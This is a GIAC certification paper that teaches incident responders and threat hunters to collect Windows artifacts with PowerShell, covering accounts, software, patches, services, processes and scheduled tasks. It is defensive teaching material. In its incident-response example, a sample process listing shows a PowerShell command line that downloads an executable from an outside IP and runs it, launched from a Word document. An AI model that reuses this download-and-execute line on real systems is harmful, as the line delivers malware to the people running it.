Global Information Assurance Certification Paper

Hunting and Gathering with PowerShell

GIAC (GSEC) Gold Certification

Author: Troy Wojewoda, tdwoje@gmail.com
Advisor: Christopher Walker, CISSP, CISA, CCISO, GCED
Accepted: March 10, 2019

Abstract

PowerShell has been used extensively over the years by both malware authors and information security professionals to carry out disparate objectives. This paper will focus on the latter by detailing various techniques and use-cases for digital defenders. There is no "one-size fits all" model that encompasses a dedicated blue-team. Roles and responsibilities will differ from organization to organization. Therefore, topics covered will range from system administration to digital forensics, incident response as well as threat hunting. Using the latest in the PowerShell framework, system variables will be collected for the purpose of establishing baselines as well as useful datasets for hunting operations. The focus will then shift to use-cases and techniques for incident responders and threat hunters.

1. Introduction

PowerShell has existed for over a decade and since its introduction has provided system administrators with extensive access to Windows operating system internals. The object-oriented scripting language goes far beyond a next-generation interactive shell. It's built on .NET and can also access COM objects ("PowerShell Overview", 2018). With the launch of Windows 7, Microsoft started including PowerShell in its operating system builds, making it the de facto tool used to perform administrative tasks in Windows environments.

Since its release by Microsoft in 2006, PowerShell has seen several major updates. This evolution extended its usefulness to applications such as Exchange, MS SQL and SharePoint to name a few. In an attempt to further its practicality, Microsoft open-sourced PowerShell in 2018 as PowerShell Core - a cross-platform version compatible on Windows, Linux and macOS operating systems ("PowerShell Core", 2019).

As PowerShell became more integrated into Windows OSes, its popularity grew to a greater audience. Malware authors quickly realized the potential with incorporating PowerShell into their arsenal. The ubiquitous operation within a Windows environment, coupled with its *fileless* behavior, make this tool and framework a perfect storm to use in attacks (Cruz, 2017). For this reason, PowerShell is considered a "dual-use" tool by the anti-malware community (Wueest, 2018).

Conversely, the utilization of these "living off the land" techniques should not be limited to malicious adversaries. Computer Security Incident Response Teams (CSIRT) need to be armed with the latest tools and technologies to defend against an ever growing attack surface. This introduces challenges for enterprises as many of these tools incur overhead costs. Open source and freeware tools can also present a number of issues such as supportability, scalability as well as hidden-costs (Ingram, 2017); let alone complications within strict application whitelisting environments. Incident handlers should not ignore the pervasiveness PowerShell has to offer their CSIRT from a cost-effective, flexible and sustainable solution.

Troy Wojewoda, tdwoje@gmail.com

PowerShell version 5.1 now comes preinstalled on Windows 10 and Windows Server 2016 operating systems ("Windows Management Framework", 2018). Incident response teams can add this extensive capability to their suite of tools to perform a variety of tasks. Such tasks may involve: enumerating accounts in an environment, performing an inventory of installed software and services, or perhaps to check if critical patches are installed. These gathering efforts can also help in building baselines; however, baselines are meant to provide a standard inventory or snapshot of a given system and thus will only contain common components that scale for comparative analysis across an environment.

The gathering of system artifacts goes far beyond building baselines. This effort can produce data that aids in the investigation of an incident or can help validate findings from disparate event sources. For instance, consider the scenario in which a network intrusion detection system (NIDS) alerts on malicious traffic beaconing every 10 minutes, originating from the same host on the internal network. Using PowerShell to gather scheduled tasks from the suspect host may reveal the offending source. A more generic example might involve the use of an incident response script encapsulating several PowerShell cmdlets. When launched against a given host, the script collects user account activity, active network connections, running processes, services and so on. Furthermore, artifacts can be used to build datasets for threat hunting operations.

Threat hunting is the process in which a human analyst searches for signs of adversarial presence within a computer environment. The necessity for CSIRT members to hunt for indicators of compromises stems from the premise that an attack may have been missed by currently deployed sensors or countermeasures. This feat requires "active, unstructured, and creative thoughts and approaches" (Bejtlich, 2011). In short, threat hunting is a methodology that is "analyst-centric" and relies on neither rules nor signatures (Beadle, 2018). Analysts using PowerShell have access to a wide array of system information as well as a powerful scripting language to support their threat hunting engagements.

Troy Wojewoda, tdwoje@gmail.com

1.1. Getting Started with PowerShell

PowerShell is a scripting language that can either be used at a command line interface via an interactive shell or as an executable script. There is also a hybrid option, to use PowerShell ISE - Integrated Scripting Environment. PowerShell ISE provides a graphical user interface with the ability to test, debug and run scripts. This utility also provides developer aids such as: tab completion, syntax coloring, selective execution and a context-sensitive menu ("Windows PowerShell ISE", 2018). It's important to note however, that Microsoft will not support the ISE past PowerShell 5.1 as their recommendation for graphical support is to move to *Visual Studio Code* for newer versions of PowerShell ("Windows PowerShell ISE", 2018).

1.1.1. PowerShell Scripts

Scripts serve as a useful approach for automating many repetitive tasks. They can also be used to add both logic and process flow for hunting and gathering efforts. It is not the intention to cover all best practices here, but the following are some important tips to consider when working with PowerShell scripts:

1. Prior to writing a script, use the interactive shell to learn and explore which cmdlets are to be used.
2. For each cmdlet used, understand the input parameters and how outputted results are to be handled.
3. Consider error and exception handling in your scripts.
4. Never put login credentials in a script! This also applies to any readable file the script may reference.
5. Test the script against a handful of machines prior to running against an entire enterprise.
6. Execution of PowerShell scripts are blocked by default.

As for the last item, there are several ways to work within the confines of this constraint. The most straightforward approach is to simply change the execution policy from something other than "Restricted". Below is a listing of all current settings supported by this policy with a brief description ("Set-ExecutionPolicy", 2018).

- **Restricted** - Does not load configuration files or run scripts. Restricted is the **default execution policy**.
- **AllSigned** - Requires that all scripts and configuration files be signed by a trusted publisher, including scripts that you write on the local computer.
- **RemoteSigned** - Requires that all scripts and configuration files downloaded from the Internet be signed by a trusted publisher.
- **Unrestricted** - Loads all configuration files and runs all scripts. If you run an unsigned script that was downloaded from the Internet, you are prompted for permission before it runs.
- **Bypass** - Nothing is blocked and there are no warnings or prompts.
- **Undefined** - Removes the currently assigned execution policy from the current scope. This parameter will not remove an execution policy that is set in a Group Policy scope.

To view the current state of this policy, use the **Get-ExecutionPolicy** cmdlet:

```
PS C:\> Get-ExecutionPolicy
Restricted
```

To change an execution policy, start a session by launching PowerShell as an "Administrator" (only system administrators can change this setting). Then run the Set-ExecutionPolicy cmdlet with the desired policy setting:

```
PS C:\> Set-ExecutionPolicy Unrestricted

The execution policy helps protect you from scripts that you do not trust. Changing the
execution policy might expose you to the security risks described in the
about_Execution_Policies help topic at
http://go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution
policy?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"):
```

1.1.2. Determining the PowerShell Version

Microsoft has made substantial updates to PowerShell throughout the years. Knowing the version of PowerShell installed on the analyst machine is an important housekeeping step in ensuring successful use. The following details two different techniques for determining the version of PowerShell:

1. Use the built-in variable **$PSVersionTable**

```
PS C:\> $PSVersionTable.PSVersion

Major  Minor  Build  Revision
-----  -----  -----  --------
5      1      14393  2636
```

2. Use the **Get-Host** cmdlet

```
PS C:\> Get-Host | Select-Object Version

Version
-------
5.1.14393.2636
```

It may be common that more than one version of PowerShell exists across an environment. Therefore, having a version check added to your scripts will ensure interoperability when run on different systems. See use-case 1 in the Appendix.

2. Gathering with PowerShell

The collection of system artifacts will depend on both the environment and the scenario at hand. PowerShell enables access to a plethora of Windows artifacts that can serve useful during an incident response or merely as an approach for a system administrator to understand more about his/her environment. It is not possible to list all significant data points, nor is it feasible to know every scenario. Nevertheless, the concepts detailed in the following section should serve as examples for digital investigators to build upon.

2.1. Accounts and Groups

2.1.1. Local User Accounts and Groups

Beginning with PowerShell 5.1, Microsoft added new features to query and manage local groups and user accounts. To get a listing of local users on a given system the **Get-LocalUser** cmdlet can now be used:

```
 PS C:\> Get-LocalUser

Name           Enabled Description
----           ------- -----------
DefaultAccount False   A user account managed by the system.
Luser          True    luser Account
Admin123       False   Built-in account for administering the computer/domain
```

Suppose gathering efforts were only interested in local accounts that are currently "enabled", the following logic can be applied:

```
PS C:\> Get-LocalUser | where Enabled -eq $True

Name      Enabled Description
----      ------- -----------
luser      True    luser Account
```

To get a listing a local groups on a given system, use the **Get-LocalGroup** cmdlet:

```
PS C:\> Get-LocalGroup

Name                                Description
----                                -----------
Access Control Assistance Operators Members of this group…
Administrators                      Administrators have c…
Backup Operators                    Backup Operators can…
Cryptographic Operators             Members are authorize…
Distributed COM Users               Members are allowed t…
Event Log Readers                   Members of this group
Guests                              Guests have the same
```

And finally, to get members of a given group, use the **Get-LocalGroupMember** cmdlet:

```
PS C:\> Get-LocalGroupMember Administrators

ObjectClass Name                PrincipalSource
----------- ----                ---------------
User        PLABPC\Luser        Local
Group       PLAB\Admins         ActiveDirectory
```

The **Get-LocalUser**, **Get-LocalGroup** and **Get-LocalGroupMember** cmdlets do not work against remote computers unless PowerShell Remoting is enabled ("Running Remote Commands", 2018). See appendix for additional techniques on how to gather this information from remote computers.

2.1.2. Domain Accounts – users | groups | computers

In a Windows Active Directory environment, the collection of local groups and their members will unavoidably lead to the discovery of domain users and groups. Querying these environment variables is straightforward with PowerShell. To obtain a list of all users that are marked as "enabled" in AD:

```
PS C:\> Get-ADUser -Filter 'Name -Like "*"' | where Enabled -eq $True
```

Obtain a list of accounts from a group in AD which are categorized as "user" accounts:

```
PS C:\> Get-ADGroupMember Administrators | where objectClass -eq 'user'
```

Troy Wojewoda, tdwoje@gmail.com

Computers managed in AD are essentially accounts as well. To get a listing of all "enabled" computers with their associated operating system:

```
PS C:\> Get-ADComputer -Filter "Name -Like '*'" -Properties * | where Enabled
-eq $True  | Select-Object Name, OperatingSystem, Enabled
```

2.2. Installation of Software

2.2.1. Programs

There are a number a ways to gather a list of installed programs on a given system. From the perspective of PowerShell, two useful cmdlets come in play: **Get-WMIObject** and **Get-CimInstance**. Both cmdlets can use the **win32_product** WMI class which "represents products as they are installed by Windows Installer" ("Retrieving a WMI Class", 2018).

```
PS C:\ > Get-CimInstance -ClassName Win32_Product

Name            Caption                     Vendor              Version         IdentifyingNumber
----            -------                     ------              -------         -----------------
Microsoft DCF... Microsoft DCF MUI (Englis... Microsoft Corporation 15.0.4569.1506 {90150000-0090-0409-0000...
Microsoft Off... Microsoft Office Professi... Microsoft Corporation 15.0.4569.1506 {90150000-0011-0000-0000...
.
.
```

The **Select-Object** cmdlet can be used for a more refined output. The following example shows how to select a desired list of objects associated with each installed program:

```
PS C:\ > Get-CimInstance -ClassName Win32_Product | Select-Object Name, Version, Vendor, InstallDate, InstallSource,
PackageName, LocalPackage


Name            : Microsoft DCF MUI (English) 2013
Version         : 15.0.4569.1506
Vendor          : Microsoft Corporation
InstallDate     : 20170722
InstallSource   : C:\MSOCache\All Users\{90150000-0090-0409-0000-0000000FF1CE}-C\
PackageName     : DCFMUI.msi
LocalPackage    : C:\windows\Installer\1cfb1.msi

Name            : Microsoft Office Professional Plus 2013
Version         : 15.0.4569.1506
Vendor          : Microsoft Corporation
InstallDate     : 20190111
InstallSource   : C:\MSOCache\All Users\{90150000-0011-0000-0000-0000000FF1CE}-C\
PackageName     : ProPlusWW.msi
LocalPackage    : C:\windows\Installer\1cfe3.msi
```

Not all installed programs can be collected with the **win32_product** class. Taking a closer inspection at where the operating system stores programs with uninstall features, we look to the Windows registry; in particular, under the **HKLM\Software** hive ("32-bit and 64-bit Application Data in the Registry", 2018). If the program installed as a 64-bit application, the listing will be found under:

HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall

```
PS C:\> Get-ItemProperty "HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | where
DisplayName -Like "*wire*" | Select-Object DisplayName, DisplayVersion, InstallDate, Publisher

DisplayName            DisplayVersion InstallDate Publisher
-----------            -------------- ----------- ---------
Wireshark 2.6.4 64-bit 2.6.4          20190210    The Wireshark developer community…
```

Otherwise, if the program is installed as a 32-bit application, the listing will be at:

HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall

```
PS C:\> Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*" | where DisplayName
-Like "*google*" | Select-Object DisplayName, DisplayVersion, InstallDate, InstallLocation, Publisher


DisplayName     : Google Chrome
DisplayVersion  : 71.0.3578.80
InstallDate     : 20190102
InstallLocation :
Publisher       : Google, Inc.
```

Note above: using the 'where' clause with a fuzzy match on *DisplayName* object for brevity.

2.2.2. OS Build and Hotfixes

Being able to identify when and what patches are installed is essential for defenders performing risk reduction in their environments. As seen in the previous section, getting a list of installed programs with their respective version number is a step in the right direction. This effort can be expanded upon by inspecting both the OS build number as well as installed hotfixes.

To get the OS release version on the current system, we target the *ReleaseId* object with the following query:

```
PS C:\> Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion" | Select-Object
ReleaseId

ReleaseId
---------
1607
```

It may also be necessary to obtain the OS build number. To do this, the **Get-CimInstance** cmdlet can be used to access the **Win32_OperatingSystem** class:

```
PS C:\> Get-CimInstance Win32_OperatingSystem | Select-Object Caption, Version,
servicepackmajorversion, BuildNumber, CSName, LastBootUpTime


Caption                 : Microsoft Windows 10 Enterprise
Version                 : 10.0.14393
Servicepackmajorversion : 0
BuildNumber             : 14393
CSName                  : PLABPC
LastBootUpTime          : 2/4/2019 7:31:56 AM
```

Gathering a list of hotfixes is straightforward with PowerShell by leveraging the **Get-Hotfix** cmdlet. This cmdlet can be used without any additional parameters, resulting in all installed hotfixes displayed to the console. If there's a specific hotfix in question, simply add the hotfix name following the cmdlet:

```
PS P:\> Get-HotFix KB4480979

Source        Description      HotFixID      InstalledBy          InstalledOn
------        -----------      --------      -----------          -----------
PLABPC     Security Update     KB4480979     NT AUTHORITY\SYSTEM  1/11/2019 12:00:00 AM
```

Another example may involve getting a list of hotfixes installed within a given timeframe. For instance, to get a list of hotfixes installed between Jan01-Dec31 2017:

```
PS C:\> Get-HotFix | where InstalledOn -gt (get-date 2017-01-01) | where InstalledOn -lt (get-date
2017-12-31)

Source        Description      HotFixID      InstalledBy          InstalledOn
------        -----------      --------      -----------          -----------
PLABPC     Update           KB2693643     NT AUTHORITY\SYSTEM  8/1/2017 12:00:00 AM
PLABPC     Update           KB4023834     PLABPC\Admin123      7/21/2017 12:00:00 AM
PLABPC     Security Update  KB4025376     PLABPC\Admin123      7/21/2017 12:00:00 AM
```

Troy Wojewoda, tdwoje@gmail.com

2.2.3. Services

The collection of services can be performed in a number of ways via PowerShell. One approach is to use the **Get-Service** cmdlet:

```
PS C:> Get-Service | Select-Object Name, DisplayName, Status, StartType

Name              DisplayName        Status    StartType
----              -----------        ------    ---------
Disk Status       Disk Status         Stopped   Automatic
```

However, the **Get-Service** cmdlet lacks some important service attributes that may want to be collected; such as the process the service launches, the account used as well as whether or not the service uses its own process or a shared process. For this information, the **Get-CimInstance** cmdlet can once again be used, this time with the **Win32_Service** class:

```
PS C:\> Get-CimInstance -ClassName Win32_Service | Select-Object Name, DisplayName,
StartMode, State, PathName, StartName, ServiceType

Name        : Disk Status
DisplayName : Disk Status
StartMode   : Auto
State       : Stopped
PathName    : C:\windows\SysWOW64\dstat.exe
StartName   : LocalSystem
ServiceType : Own Process
```

2.3. Group Policy

Understanding local and domain policies is a fundamental task when baselining an environment. It can also be a way to verify if a system or host of systems are within compliance. If a Windows machine in question is part of a managed active directory domain, PowerShell has some convenient cmdlets that can be utilized. For starters, the **Get-ADDefaultDomainPasswordPolicy** cmdlet can be used in either the context of the currently logged on user, the local computer or a given domain:

```
PS C:\> Get-ADDefaultDomainPasswordPolicy -Current LoggedOnUser
```

```
PS C:\> Get-ADDefaultDomainPasswordPolicy -Current LocalComputer
```

```
PS C:\> Get-ADDefaultDomainPasswordPolicy -Identity pclab.com
```

In managed Active Directory environments, Group Policy Objects are used to ensure the centralized management of system and security configuration settings being applied to both user and computer accounts (Petters, 2018). PowerShell provides query access to these GPOs in a number of cmdlets. The first cmdlet to look at is **Get-GPO**. The **Get-GPO** cmdlet returns all or one GPOs in the domain:

```
PS C:\> Get-GPO -all

DisplayName      : Default Domain Policy
DomainName       : plab.com
Owner            : PLAB\Domain Admins
Id               : 41e3f340-116d-41d9-843c-01d04ab765e2
GpoStatus        : AllSettingsEnabled
Description      :
CreationTime     : 5/29/2004 8:56:53 PM
ModificationTime : 4/18/2018 11:15:14 AM
UserVersion      : AD Version: 6, SysVol Version: 6
ComputerVersion  : AD Version: 41, SysVol Version: 41
```

Get-GPO output provides a high-level view of each GPO. For details on a given GPO, we look to the **Get-GPOReport** cmdlet. GPO settings can be verbose, therefore redirecting the output to a file or supplying the '-Path' parameter may be a preferable alternative over standard output to the console.

```
PS C:\> Get-GPOReport -Name "Wireless Policy" -ReportType Html > "c:\temp\gpoReport.html"
```

Or:

```
PS C:\> Get-GPOReport -Name "Wireless Policy" -ReportType Html -Path "c:\temp\gpoReport.html"
```

A more encompassing approach to understanding all policies being applied to either a given user or computer (or both), is to use the *Resultant Set of Policy* approach (RSoP). PowerShell provides access to RSoP via the **Get-GPResultantSetOfPolicy** cmdlet:

```
PS C:\> Get-GPResultantSetOfPolicy -user <user> -computer <computer> -ReportType Html
-Path ".\user-computer-RSoP.html"
```

3. PowerShell for the Hunter and Responder

Incident handlers, digital forensic analysts and cyber threat hunters operate in varying roles within an organization's CSIRT. Each role will certainly have and rely upon specific toolsets. CSIRTs tasked with defending against advanced and evolving cyber threats must continually adapt by evaluating and utilizing new and existing tools ("FIRST CSIRT Framework", 2019). As demonstrated with many of the collection capabilities, PowerShell's usefulness can be extended into the realm of hunting and incident response.

3.1. Incident Response

Tools and techniques used by incident response teams should be tailored to the organization and the networks they defend. This is where CSIRTs create incident response playbooks to ensure they are operating both efficiently and effectively (Bollinger, Enright & Valites, 2015). This section will demonstrate some uses of PowerShell that can serve as examples within a CSIRT playbook; specifically, where an incident responder is operating in the identification phase and analyzing a suspect host computer.

3.1.1. Logged-On User

The **Get-CimInstance** cmdlet used with the **Win32_ComputerSystem** class returns the currently logged-on user as well as a few more attributes that may be handy to an incident responder:

```
PS C:\> Get-CimInstance -ClassName Win32_ComputerSystem | Select-Object Name,
UserName, PrimaryOwnerName, Domain, TotalPhysicalMemory, Model, Manufacturer


Name                : PLABPC
UserName            : PLAB\JUSER
PrimaryOwnerName    : LAN Administrator
Domain              : plab.com
TotalPhysicalMemory : 8466345984
Model               : HP Elitebook x360 1030 G2
Manufacturer        : HP
```

See appendix for additional pivots on a domain user accounts in Windows Active Directory environments.

3.1.2. Network Activity

TCP and UDP connections can be viewed in PowerShell by using the **Get-NetTCPConnection** and **Get-NETUDPEndpoint** cmdlets respectively. Consider a scenario where the NIDS alerted on an internal system communicating outbound over TCP/8080, to the remote address 52.46.157.11. An incident handler can use the **NetTCPConnection** cmdlet with the '-RemoteAddress' and '-RemotePort' parameters to hone in on the process responsible:

```
PS C:\> Get-NetTCPConnection -RemoteAddress 52.46.157.11 -RemotePort 8080 | Select-
Object CreationTime, LocalAddress, LocalPort, RemoteAddres, RemotePort,
OwningProcess, State


CreationTime  : 2/6/2019 12:57:29 PM
LocalAddress  : 192.168.100.29
LocalPort     : 56031
RemoteAddress : 52.46.157.11
RemotePort    : 8080
OwningProcess : 4308
State         : Established

CreationTime  : 2/6/2019 12:56:13 PM
LocalAddress  : 192.168.100.29
LocalPort     : 56001
RemoteAddress : 52.46.157.11
RemotePort    : 8080
OwningProcess : 4308
State         : Established
```

3.1.3. Running processes

The **Get-Process** cmdlet returns a listing of running processes on a system. To identify the owning process from the example above, the Process ID (PID) can be used as follows:

```
PS C:\> Get-Process | Select-Object StartTime, ProcessName, ID, Path | where Id -eq 4308

StartTime           ProcessName  Id   Path
---------           -----------  --   ----
2/6/2019 12:55:53 PM powershell   4308 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
```

Troy Wojewoda, tdwoje@gmail.com

The above provides key information related to PID 4308 – the process name, when the process launched and the full path of the executable on disk. However, the **Get-Process** cmdlet lacks some additional details such as the parent process and command-line arguments provided at start time. For this detail, the **Get-CimInstance** cmdlet comes in handy once again:

```
PS C:\> Get-CimInstance -ClassName Win32_Process | Select-Object CreationDate, ProcessName, ProcessID,
CommandLine, ParentProcessId | where ProcessID -eq 4308

CreationDate    : 2/6/2019 12:55:53
ProcessName     : powershell.exe
ProcessID       : 4308
CommandLine     : "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Exec Bypass -NoExit
-Command (New-Object System.Net.WebClient).DownloadFile('http://52.46.157.11:8080/1.jpg, $env:APPDATA +
'\\384231.exe'); Start-Process $env:APPDATA'\\384231.exe';;
ParentProcessId : 8116
```

Finally, by pivoting on the parent process ID (PPID), it can be determined the source of the event – a word document that spawned PowerShell which created the network traffic responsible for the NIDS alert:

```
PS C:\> Get-CimInstance -ClassName Win32_Process | Select-Object CreationDate, ProcessName, ProcessID,
CommandLine, ParentProcessId | where ProcessID -eq 8116

CreationDate    : 2/6/2019 12:55:47
ProcessName     : WINWORD.EXE
ProcessID       : 8116
CommandLine     : "C:\Program Files (x86)\Microsoft Office\Office15\WINWORD.EXE" /n
"C:\Users\juser\Downloads\Invoice.doc" /o ""
ParentProcessId : 3620
```

3.1.4. Scheduled Tasks and Scheduled Jobs

PowerShell provides the ability to manage scheduled tasks with a number of built-in cmdlets ("ScheduledTasks", 2017). To view all scheduled tasks on a system, use the **Get-ScheduledTask** cmdlet. There are a significant number of scheduled tasks found out-of-the-box on any given Windows system. Collecting them all across the environment may be a good baselining effort; however, for the purposes of finding evil in a scenario where a good baseline has not been established, filtering out some of this noise is ideal:

```
PS C:> Get-ScheduledTask | Select-Object TaskName, TaskPath, Date, Author, Actions,
Triggers, Description, State | where Author -NotLike 'Microsoft*' | where Author -ne
$null | where Author    -NotLike '*@%SystemRoot%\*'


TaskName    : updater1
TaskPath    : \
Date        : 2019-02-11T16:28:34.0326429
Author      : PLAB\JUSER
Actions     : {MSFT_TaskExecAction}
Triggers    : {MSFT_TaskDailyTrigger}
Description :
State       : Ready
```

One scheduled task named "updater1" was found. Some attributes are shown, but important details such as the actions and triggers are not provided. To obtain the details of a given task, the **Export-ScheduledTask** cmdlet can be used, which outputs an xml formatted listing of a task's details:

```
PS C:> Export-ScheduledTask -TaskName updater1
.
.
<Triggers>
   <CalendarTrigger>
     <StartBoundary>2019-02-11T16:26:08</StartBoundary>
     <Repetition>
       <Interval>PT10M</Interval>
       <Duration>PT1H</Duration>
     </Repetition>
     <ScheduleByDay>
       <DaysInterval>1</DaysInterval>
     </ScheduleByDay>
   </CalendarTrigger>
 </Triggers>
 <Actions Context="Author">
   <Exec>
     <Command>C:\Users\juser\appdata\Roaming\1.exe</Command>
   </Exec>
 </Actions>
.
.
```

Scheduled Jobs are a little different than scheduled tasks. Schedule jobs are relevant only to the execution of PowerShell; they can be thought of as a "hybrid of background jobs and scheduled tasks" (Blender, 2013). First, use the **Get-ScheduleJob** cmdlet to see a listing of Scheduled Jobs on a system.

```
PS C:\windows\system32> Get-ScheduledJob

Id         Name            JobTriggers     Command           Enabled
--         ----            -----------     -------           -------
1          myProcesses     1               Get-Process       True

PS C:\windows\system32> Get-ScheduledJob -Id 1 | Get-JobTrigger

Id         Frequency       Time                    DaysOfWeek  Enabled
--         ---------       ----                    ----------  -------
1          Once            2/11/2019 10:00:00 PM               True
```

Above, we see that there is a Scheduled Job to run the **Get-Process** cmdlet, once at 10:00pm. Results of a scheduled job get saved. To view these results, start off with the **Get-Job** cmdlet. Once the job has been completed, the results can be collected with the **Receive-Job** cmdlet as so:

```
PS C:\windows\system32> Get-Job

Id     Name            PSJobTypeName   State      HasMoreData  Location   Command
--     ----            -------------   -----      -----------  --------   -------
1      myProcesses     PSScheduledJob  Completed  True         localhost  Get-Process


PS C:\windows\system32> Receive-Job -Id 1 -Keep

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    762      30     5948      18928       1.52  10376   1 powershell
    172      14     2664      10816       0.36  10448   1 notepad
    546      29    18356      32868       2.16   1480   1 cmd
    536      39   126668     127344      68.08  12992   1 chrome
```

3.1.5. File Hashing

Properly handling of files collected and examined during an incident response is a vital function for any CSIRT. To ensure the integrity of a file or artifact, incident handlers use cryptographic hashing algorithms such as MD5, SHA1 and SHA256. PowerShell provides this capability with the **Get-FileHash** cmdlet:

```
PS C:\> Get-FileHash .\notes.txt -Algorithm MD5

Algorithm       Hash                                   Path
---------       ----                                   ----
MD5             53A09F3C1E5AF07F8C0E49F9720D5247       C:\Users\juser\Documents\notes.txt
```

3.2. Hunting

There are countless ways to hunt for an adversary within a computer environment. Many techniques begin with collecting and sifting through raw artifacts. Information collected from endpoints can be an extremely resourceful place to hunt considering this is where many of the adversary's techniques are carried out ("Enterprise Techniques", 2018). This section provides some specific PowerShell examples a threat hunter may find useful to build upon into current tools, techniques and processes.

3.2.1. File Analysis, and Alternate Data Streams

Alternate Data Streams (ADS) are additional $DATA attributes associated to files on NTFS filesystems (Carrier, 2005). There are various techniques that can be used to view ADS, such as a directory listing with the '/R' switch (dir /R) or using the Windows *Sysinternals* tool: streams.exe. PowerShell also provides a convenient way to view both the streams associated to a file as well as its contents. First, the **Get-Item** cmdlet is used with '-Stream' and a wildcard '*' parameter to view all possible streams:

```
PS C:\> Get-Item .\notes.txt -Stream *

PSPath        : Microsoft.PowerShell.Core\FileSystem::C:\Users\juser\Documents\notes.txt::$DATA
PSParentPath  : Microsoft.PowerShell.Core\FileSystem::C:\Users\juser\Documents\
PSChildName   : notes.txt::$DATA
PSDrive       : C
PSProvider    : Microsoft.PowerShell.Core\FileSystem
PSIsContainer : False
FileName      : C:\Users\juser\Documents\notes.txt
Stream        : :$DATA
Length        : 656
```

Due to the fact that all files on an NTFS filesystem will have a '$DATA' stream associated to it, the command can be adjusted slightly to show all other streams:

```
PS C:\> Get-Item .\notes.txt -Stream * | where Stream -ne ':$DATA'

PSPath        : Microsoft.PowerShell.Core\FileSystem::C:\Users\juser\Documents\notes.txt:SoupDuJour
PSParentPath  : Microsoft.PowerShell.Core\FileSystem::C:\Users\juser\Documents
PSChildName   : notes.txt:SoupDuJour
PSDrive       : C
PSProvider    : Microsoft.PowerShell.Core\FileSystem
PSIsContainer : False
FileName      : C:\Users\juser\Documents\notes.txt
Stream        : SoupDuJour
Length        : 29
```

Pivoting on the stream named 'SoupDuJour', the contents can be viewed by using the **Get-Content** cmdlet:

```
PS C:\> Get-Content .\notes.txt -Stream SoupDuJour
It's the soup of the day...
```

3.2.2. Raw File Analysis

Consider a scenario in which the contents of a file are needed to be examined thoroughly, regardless of the datatype. Viewing a non-ASCII character-set in the shell's standard output, or in a common text editor such as notepad, will misrepresent the results due to the distortion of the original content as shown here:

```
PS C:\> Get-Content .\ps.txt
MZ□ ──────────────────────────
──────────────────────────────────────────────────────────────────────────────
ÿÿ  ¸       @                                       è
º
 ´   Í!¸LÍ!This program cannot

$       <îÒˆx□¼Ûx□¼Ûx□¼Ûq÷8ÛR□¼Ûq÷)Ûh□¼Ûq÷/Ûk□¼Ûx□½Û□¼Ûq÷?Ûñ□¼Ûq÷(Ûy□¼Ûq÷-
Ûy□¼ÛRichx□¼Û
Hp──────────────────────────────  UŠ   `   @
──────────────────────────────────────────────────────────────────────────────
î
──────────────────────────────────────────────────────────────────────────────
──────────────────────────────  €              DÔ
¨É@           ` ──────────────────────────────                    .text   zG  H
──────────────────────────────────────────────────────────────────────────────
`.rdata  Þ…
@  À rsrc   ØÊÐÊÒ@  @
```

Exposing the raw content in a hexadecimal representation helps address these concerns. PowerShell supports a hexadecimal view with the **Format-Hex** cmdlet and using the '-Encoding' parameter with value *Byte*:

```
PS C:\> Get-Content .\ps.txt -Encoding Byte | Format-Hex

           00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

00000000   4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00  MZ□.............
00000010   B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00  ¸.......@.......
00000020   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000030   00 00 00 00 00 00 00 00 00 00 00 00 E8 00 00 00  ............è...
00000040   0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68  ..º..´.Í!¸.LÍ!Th
00000050   69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F  is program canno
00000060   74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20  t be run in DOS
00000070   6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00  mode....$.......
```

The **Format-Hex** cmdlet presents the output in hexadecimal form, found in the center of the display, with its ASCII equivalent in the right column. The numbers in the left column represent the byte-offset of the content, also in hex. In the example above, PowerShell is not converting the content to hex, but rather presenting the output in that format. The format string operator '-f' can be used to convert the output to hex.

Additionally, it may be desired to inspect the first few bytes of a given file. To do so, the '-ReadCount' parameter is specified as follows:

```
PS C:\> $magicBytes = '{0:X2}' -f (Get-Content .\ps.txt -Encoding Byte -ReadCount 4)
PS C:\> $magicBytes
4D 5A 90 00
```

Above, we grab the first four bytes of the file ps.txt, convert the value to hex and assign that value to the **$magicBytes** variable. This technique can be expanded upon to look for anomalous relationships between a file's extension and its magic bytes content. For example, the magic bytes **4D 5A 90 00** are representative of a Microsoft executable file. It is atypical for a file containing these first four bytes to be found with a non-executable extension name, such as .txt, .png, .gif, .jpg, etc. See appendix for a practical use-case.

3.2.3. Regular Expressions

Regular expressions provide an extremely powerful capability that no hunt team should be without. A regular expression or regex for short, is a series of one or more patterns used to find matches in text and can be of "literal characters, operators, and other constructs" ("About Regular Expressions", 2017). PowerShell's **Select-String** cmdlet can process regex's fairly straightforward. Simply supply the regex pattern as an input parameter to **Select-String**. The following example looks in the contents of a file, for a pattern of base64 characters, with at least 1024 characters in length.

```
PS C:\> Get-Content .\file.bin | Select-String '[A-Za-z0-9\/\+]{1024,}[=]{0,2}'

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAA
AA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm87tKIeI+823iPvNt4j7zbcfc421KPvNtx9ynbaI+82
3H3L9trj7zbeI+928aPvNtx9z/b8Y+823H3KNt5j7zbcfct23mPvNtSaWNoeI+82wAAAAAAAAAAAAAAAAAAA
